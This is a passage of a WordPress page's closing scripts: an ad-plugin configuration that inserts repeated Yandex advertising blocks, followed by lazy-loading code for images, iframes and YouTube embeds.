\"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"70","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235380","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-13\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-13\",\n renderTo: \"yandex_rtb_R-A-720609-13\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"80","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235381","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-14\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-14\",\n renderTo: \"yandex_rtb_R-A-720609-14\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"90","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235382","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-15\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-15\",\n renderTo: \"yandex_rtb_R-A-720609-15\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"100","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235383","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-16\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-16\",\n renderTo: \"yandex_rtb_R-A-720609-16\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"115","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235387","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-17\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-17\",\n renderTo: \"yandex_rtb_R-A-720609-17\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"130","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235388","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-18\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-18\",\n renderTo: \"yandex_rtb_R-A-720609-18\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"145","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235389","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-19\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-19\",\n renderTo: \"yandex_rtb_R-A-720609-19\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"simple":{"position":"3"}},"ID":"235365","html":[{"fst":"<script async src=\"https:\/\/an.yandex.ru\/system\/widget.js\"><\/script>\n<script>\n (yaads = window.yaads || []).push({\n id: \"720609-30\",\n render: \"#id-720609-30\"\n });\n<\/script>\n<div id=\"id-720609-30\"><\/div>\n","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"outgoing":{"cross":"true","timer":"false","timer_count":"0","cookie":"true","whence":"3","indent":"0","after":"10","px_s":"seconds","close_window":"false"}},"ID":"235366","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-20\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-20\",\n renderTo: \"yandex_rtb_R-A-720609-20\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"1024","res_to":"∞"}]},{"how":{"outgoing":{"cross":"true","timer":"false","timer_count":"0","cookie":"true","whence":"3","indent":"0","after":"60","px_s":"seconds","close_window":"false"}},"ID":"235367","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-21\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-21\",\n renderTo: \"yandex_rtb_R-A-720609-21\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"1024","res_to":"∞"}]},{"how":{"outgoing":{"cross":"true","timer":"false","timer_count":"0","cookie":"true","whence":"3","indent":"0","after":"120","px_s":"seconds","close_window":"false"}},"ID":"235384","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-22\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-22\",\n renderTo: \"yandex_rtb_R-A-720609-22\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"1024","res_to":"∞"}]},{"how":{"outgoing":{"cross":"true","timer":"false","timer_count":"0","cookie":"true","whence":"2","indent":"0","after":"1000","px_s":"px","close_window":"false"}},"ID":"235368","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-23\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-23\",\n renderTo: \"yandex_rtb_R-A-720609-23\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"1024"}]},{"how":{"outgoing":{"cross":"true","timer":"false","timer_count":"0","cookie":"true","whence":"2","indent":"0","after":"60","px_s":"seconds","close_window":"false"}},"ID":"235369","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-24\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-24\",\n renderTo: \"yandex_rtb_R-A-720609-24\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"1024"}]},{"how":{"outgoing":{"cross":"true","timer":"false","timer_count":"0","cookie":"true","whence":"2","indent":"0","after":"120","px_s":"seconds","close_window":"false"}},"ID":"235385","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-25\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-25\",\n renderTo: \"yandex_rtb_R-A-720609-25\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"1024"}]},{"how":{"outgoing":{"cross":"true","timer":"false","timer_count":"0","cookie":"true","whence":"2","indent":"0","after":"90","px_s":"seconds","close_window":"false"}},"ID":"235386","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-26\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-26\",\n renderTo: \"yandex_rtb_R-A-720609-26\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"720"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"1","selector":".flat_side_1","search_all":"true"}},"ID":"235374","html":[{"fst":"<div class=\"flatPM_sidebar\" data-top=\"76\">\n\n<div id=\"yandex_rtb_R-A-720609-27\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-27\",\n renderTo: \"yandex_rtb_R-A-720609-27\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>\n<\/div>\n<div class=\"flatPM_sidebar\" data-top=\"76\">\n\n<div id=\"yandex_rtb_R-A-720609-28\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-28\",\n renderTo: \"yandex_rtb_R-A-720609-28\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>\n<\/div>\n<div class=\"flatPM_sidebar\" data-top=\"76\">\n\n<div id=\"yandex_rtb_R-A-720609-29\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-29\",\n renderTo: \"yandex_rtb_R-A-720609-29\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>\n<\/div>\n","snd":"","res_of":"1024","res_to":"∞"}]}];</script> <script> function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123() </script><script>window.lazyLoadOptions = { elements_selector: "img[data-lazy-src],.rocket-lazyload,iframe[data-lazy-src]", data_src: "lazy-src", data_srcset: "lazy-srcset", data_sizes: "lazy-sizes", class_loading: "lazyloading", class_loaded: "lazyloaded", threshold: 300, callback_loaded: function(element) { if ( element.tagName === "IFRAME" && element.dataset.rocketLazyload == "fitvidscompatible" ) { if (element.classList.contains("lazyloaded") ) { if (typeof window.jQuery != "undefined") { if (jQuery.fn.fitVids) { jQuery(element).parent().fitVids(); } } } } }}; window.addEventListener('LazyLoad::Initialized', function (e) { var lazyLoadInstance = e.detail.instance; if (window.MutationObserver) { var observer = new MutationObserver(function(mutations) { var image_count = 0; var iframe_count = 0; var rocketlazy_count = 0; mutations.forEach(function(mutation) { for (i = 0; i < mutation.addedNodes.length; i++) { if (typeof mutation.addedNodes[i].getElementsByTagName !== 'function') { return; } if (typeof mutation.addedNodes[i].getElementsByClassName !== 'function') { return; } images = mutation.addedNodes[i].getElementsByTagName('img'); is_image = mutation.addedNodes[i].tagName == "IMG"; iframes = mutation.addedNodes[i].getElementsByTagName('iframe'); is_iframe = mutation.addedNodes[i].tagName == "IFRAME"; rocket_lazy = mutation.addedNodes[i].getElementsByClassName('rocket-lazyload'); image_count += images.length; iframe_count += iframes.length; rocketlazy_count += rocket_lazy.length; if(is_image){ image_count += 1; } if(is_iframe){ iframe_count += 1; } } } ); if(image_count > 0 || iframe_count > 0 || rocketlazy_count > 0){ lazyLoadInstance.update(); } } ); var b = document.getElementsByTagName("body")[0]; var config = { childList: true, subtree: true }; observer.observe(b, config); } }, false);</script><script data-no-minify="1" async src="https://fintaxi.ru/wp-content/plugins/rocket-lazy-load/assets/js/16.1/lazyload.min.js"></script><script>function lazyLoadThumb(e){var t='<img loading="lazy" data-lazy-src="https://i.ytimg.com/vi/ID/hqdefault.jpg" alt="" width="480" height="360"><noscript><img src="https://i.ytimg.com/vi/ID/hqdefault.jpg" alt="" width="480" height="360"></noscript>',a='<div class="play"></div>';return t.replace("ID",e)+a}function lazyLoadYoutubeIframe(){var e=document.createElement("iframe"),t="ID?autoplay=1";t+=0===this.dataset.query.length?'':'&'+this.dataset.query;e.setAttribute("src",t.replace("ID",this.dataset.src)),e.setAttribute("frameborder","0"),e.setAttribute("allowfullscreen","1"),e.setAttribute("allow", "accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture"),this.parentNode.replaceChild(e,this)}document.addEventListener("DOMContentLoaded",function(){var e,t,a=document.getElementsByClassName("rll-youtube-player");for(t=0;t<a.length;t++)e=document.createElement("div"),e.setAttribute("data-id",a[t].dataset.id),e.setAttribute("data-query", a[t].dataset.query),e.setAttribute("data-src", a[t].dataset.src),e.innerHTML=lazyLoadThumb(a[t].dataset.id),e.onclick=lazyLoadYoutubeIframe,a[t].appendChild(e)});</script> </body> </html>